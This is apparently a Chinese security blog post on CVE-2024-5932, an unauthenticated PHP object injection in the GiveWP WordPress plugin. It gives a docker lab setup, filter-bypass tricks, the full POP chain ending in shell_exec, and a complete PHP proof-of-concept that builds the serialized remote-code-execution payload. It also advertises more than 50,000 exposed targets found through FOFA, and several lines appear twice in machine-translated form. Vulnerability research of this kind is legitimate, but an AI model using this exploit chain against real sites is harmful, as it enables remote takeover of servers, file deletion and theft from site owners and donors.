超高危 WordPress RCE漏洞 CVE-2024-5932 全网资产 5W+ 附POC
超高危 WordPress RCE漏洞 CVE-2024-5932 全网资产 5W+ 附POC
合规渗透 合规渗透 2024-09-05 20:05
poc见最下方阅读原文,欢迎关注。最新漏洞持续推送中
CVE-2024-5932:GiveWP PHP 对象注入漏洞是一个可以
远程代码执行和未经授权文件删除的漏洞
漏洞描述:
WordPress 的 GiveWP 捐赠插件和筹款平台插件在 3.14.1 及之前的所有版本中,通过反序列化来自“give_title”的不受信任的输入,容易受到 PHP 对象注入的攻击。’ 范围。这使得未经身份验证的攻击者可以注入 PHP 对象。POP 链的额外存在允许攻击者远程执行代码并删除任意文件。
CVE-2024-5932.py
根据特征从fofa搜索可得到5W+资产
漏洞复现环境搭建
1. docker-compose.yml 1.docker-compose.yml
services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
2.然后下载有漏洞的GiveWP插件:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
3. 解压 GiveWP 插件 zip 文件并将整个文件复制到“/var/www/html/wp-content/plugins”目录。
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins
5. 使用 GiveWP 插件添加新帖子并复制帖子链接
6.检查易受攻击的链接
在docker环境中设置目标文件
首先,使用以下命令访问 wordpress shell:
docker exec -it -u root docker-wordpress-1 /bin/bash
如果该文件属于root,则可能由于权限原因而无法删除。因此,您需要使用以下命令更改测试文件的所有权:
touch test && chown www-data test
通过 PHPSTORM 进行调试
您可以使用 PHPSTORM 调试 GiveWP。
1. 在你的wordpress(Docker)中下载xdebug:
pecl install xdebug
2.然后像(Docker)一样设置wordpress的php.ini文件:
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..然后你就可以调试你的wordpress了。
3. 设置PHPSTORM(本地):
4. PHPSTORM示例(例如TCPDF任意文件删除)
分析
脆弱点(includes/ payments/class-give- payment.php)
此时,get_meta()函数反序列化之前保存的“give_title”值。
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
Bypass 技术
strip_tags: replace nullbytes -> using \0
strip_tags:使用 \0 替换空字节 ->
stripslashes_deep: replace backslashes -> using \\\\
stripslashes_deep:使用 \\\\ 替换反斜杠 ->
****## POP chaining for RCE RCE 的 POP 链
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
给->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (Return command string)
Give\Onboarding\SettingsRepository->get('address1')(返回命令字符串)
call_user_func('shell_exec', 'command')
call_user_func('shell_exec', '命令')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
通过 POP 链进行远程命令执行
👇 poc